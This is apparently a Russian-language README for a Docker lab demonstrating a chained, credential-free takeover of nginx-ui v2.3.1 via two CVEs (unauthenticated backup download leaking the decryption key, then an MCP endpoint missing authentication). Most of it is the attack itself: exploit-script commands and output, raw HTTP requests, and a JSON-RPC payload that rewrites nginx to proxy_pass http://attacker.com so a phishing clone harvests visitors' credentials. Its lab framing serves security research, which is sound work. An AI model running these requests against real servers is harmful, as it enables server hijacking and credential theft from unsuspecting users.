
Docker Compose настройка для демонстрации уязвимости отсутствия аутентификации в nginx-ui
Предупреждение: Этот репозиторий предназначен исключительно для образовательных целей и авторизованных исследований в области безопасности. Все продемонстрированные здесь методы должны применяться только к системам, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Авторы не несут ответственности за неправомерное использование. Не запускайте это против любой системы без авторизации.
Автономная лаборатория на Docker Compose, демонстрирующая цепочку из двух CVE против nginx-ui v2.3.1, которая обеспечивает полный захват nginx без каких-либо предварительных знаний — без имён пользователей, паролей и токенов.
GET /api/backup не требует аутентификации. Конечная точка возвращает полную зашифрованную резервную копию установки nginx-ui — включая app.ini — и отправляет ключ дешифрования AES-256-CBC и IV в открытом виде в заголовке ответа:
X-Backup-Security: <base64_key>:<base64_iv>
Из исходного кода (api/backup/router.go):
r.GET("/backup", CreateBackup) // ❌ нет middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
Расшифровка резервной копии даёт app.ini, который содержит [node] Secret, необходимый для шага 2.
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 Критический |
| Затронуто | nginx-ui < 2.3.2 |
| Исправлено в | nginx-ui 2.3.3 |
nginx-ui v2.3.x добавил интерфейс Model Context Protocol (MCP), предоставляющий 12 инструментов управления nginx. Ошибка заключается в одном пропущенном вызове middleware в mcp/router.go:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ ОТСУТСТВУЕТ AuthRequired()
Имея sessionId, полученный через секрет узла, злоумышленник может отправить POST на /mcp_message без учётных данных пользователя и вызвать любой привилегированный инструмент — включая nginx_config_modify и reload_nginx.
| CVE | CVE-2026-33032 |
| Псевдоним | MCPwn (Pluto Security) |
| CVSS | 9.8 Критический |
| Затронуто | nginx-ui ≤ 2.3.3 |
| Исправлено в | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ Браузер │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ Злоумышленник ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) УЯЗВИМЫЙ │
│ (без учётных данных) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (зелёный) │ легитимная │
│ │ proxy_pass по умолч. │ форма входа │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (красн.) │ фишинг-клон │
│ │ proxy_pass после атаки │ собирает креды │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
nginx-ui включает собственный экземпляр nginx. Когда эксплойт вызывает reload_nginx через MCP, он перезагружает тот же nginx, обслуживающий трафик на :8080 — доступ к хосту не требуется.
Требования: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | Сайт жертвы — зелёный (легитимный) |
http://localhost:9000 | Панель администратора nginx-ui |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
Скрипт объединяет обе CVE без предварительных учётных данных:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE
Цель : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — загрузка резервной копии (без аутентификации)
[+] Ключ AES+IV из заголовка: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Секрет узла извлечён: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — открытие неаутентифицированной MCP-сессии (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] Разведка — чтение текущей конфигурации
[+] Текущая: proxy_pass http://webapp:80;
[*] Перезапись default.conf через POST /mcp_message (без аутентификации)
[+] Новая: proxy_pass http://malicious_site:80;
[*] Перезагрузка nginx через POST /mcp_message (без аутентификации)
[+] nginx перезагружен — конфигурация активна
[!] Атака завершена.
Жертвы на http://localhost:8080/ теперь получают фишинговую страницу.
Просмотр перехваченных учётных данных: http://localhost:8080/?debug=1
После эксплойта http://localhost:8080 переключается с зелёной легитимной страницы на красный фишинг-клон — по тому же URL, без каких-либо признаков для жертвы.
Откройте http://localhost:8080/?debug=1, чтобы увидеть панель злоумышленника и учётные данные, перехватываемые в реальном времени.
python3 exploit/exploit.py --url http://localhost:9000 --reset
Использует ту же цепочку CVE для восстановления исходной конфигурации и перезагрузки nginx.
GET /api/backup HTTP/1.1
Host: target:9000
Ответ:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
Расшифруйте zip с помощью предоставленных ключа/IV → извлеките app.ini → прочитайте [node] Secret.
Запрос 1 — Открытие SSE-сессии (секрет узла, без аутентификации пользователя):
GET /mcp?node_secret=<uuid>
SSE-поток отвечает sessionId.
Запрос 2+ — Вызов инструментов (вообще без аутентификации):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
Нет заголовка Authorization. Нет cookie. AuthRequired() просто отсутствует в маршруте /mcp_message.
| Инструмент | Воздействие |
|---|---|
nginx_config_modify | Перезапись любого файла конфигурации |
nginx_config_add | Создание новых файлов конфигурации |
nginx_config_get | Чтение любого файла конфигурации |
nginx_config_list | Список всех конфигураций |
nginx_config_enable/disable | Включение/отключение конфигураций сайтов |
nginx_config_rename | Перемещение/переименование файлов конфигурации |
nginx_config_mkdir | Создание каталогов |
nginx_config_history | Просмотр истории изменений |
nginx_config_base_path | Раскрытие корневого пути конфигурации |
nginx_status | Проверка статуса nginx |
reload_nginx | Применение изменений конфигурации на лету |
restart_nginx | Полный перезапуск nginx |
[node] IPWhiteList в app.ini, чтобы ограничить доступ к MCP конкретными IP-адресами/etc/nginx/conf.d/ с помощью мониторинга целостности файлов (auditd, Wazuh и т. д.)